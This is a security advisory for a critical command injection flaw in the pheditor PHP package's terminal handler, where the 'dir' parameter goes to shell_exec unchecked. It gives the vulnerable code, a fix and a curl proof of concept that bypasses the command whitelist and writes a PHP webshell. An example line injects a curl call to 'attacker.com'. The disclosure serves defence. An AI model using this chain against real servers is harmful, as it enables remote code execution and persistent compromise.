Critical

Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter

  • Disclosed: 09.06.2026
  • Updated: 11.10.2026 10:22

Summary

An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.

Details

The terminal handler in pheditor.php accepts two POST parameters: command and dir. Shell metacharacters are validated on $command only — $dir is passed to shell_exec() without any sanitization.

Vulnerable code (pheditor.php, line 554–586):

php
$command = $_POST['command'];  // ✓ metacharacters checked
$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable

if (strpos($command, '&')  !== false ||
    strpos($command, ';')  !== false ||
    strpos($command, '||') !== false) {
    die(...); // only guards $command, not $dir
}

$output = shell_exec(
    (empty($dir) ? null : 'cd ' . $dir . ' && ')
    . $command . ' && echo \ ; pwd'  // ← $dir injected here
);

An attacker sends dir=/tmp; curl attacker.com # — the semicolon in $dir is never checked, so the injected command executes freely.

Fix: replace $dir with escapeshellarg($dir) on line 586.

PoC

Requirements: valid credentials, terminal permission enabled (default)

Step 1 — Authenticate:

bash
curl -c cookies.txt -X POST http://TARGET/pheditor.php \
  -d "pheditor_password=admin" -L > /dev/null

Step 2 — Get CSRF token:

bash
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

Step 3 — Confirm curl is blocked via command field:

bash
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=curl https://ifconfig.me" \
  --data-urlencode "dir=/tmp"


→ {"error":true,"message":"Command not allowed"}

Step 4 — Bypass whitelist via dir injection:

bash
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"


→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}

Step 5 — Full RCE via webshell:

bash
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"

curl "http://TARGET/shell.php?c=id"


→ uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:

  • Execute arbitrary OS commands as the web server user
  • Bypass the TERMINAL_COMMANDS whitelist entirely
  • Deploy persistent PHP webshells to the webroot
  • Read, write, or delete any file accessible to the web server
  • Potentially compromise other applications on the same server

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package pheditor/pheditor >= 2.0.1, < 2.0.4 2.0.4

References

CVSS score 9.9/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-78
Platform
Composer
Package
pheditor/pheditor
Disclosed
09.06.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-jvc5-6g7q-c843 - CC BY 4.0

Vulnerability history: pheditor/pheditor

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
6
First → latest
06.2026 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 3
  • High 3

Disclosures per year

  1. 2026: 6
  1. High · 8.8 CVE-2026-54540 < 2.0.5 2.0.5
  2. Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter this entry
    Critical · 9.9 CVE-2026-48030 >= 2.0.1, < 2.0.4 2.0.4

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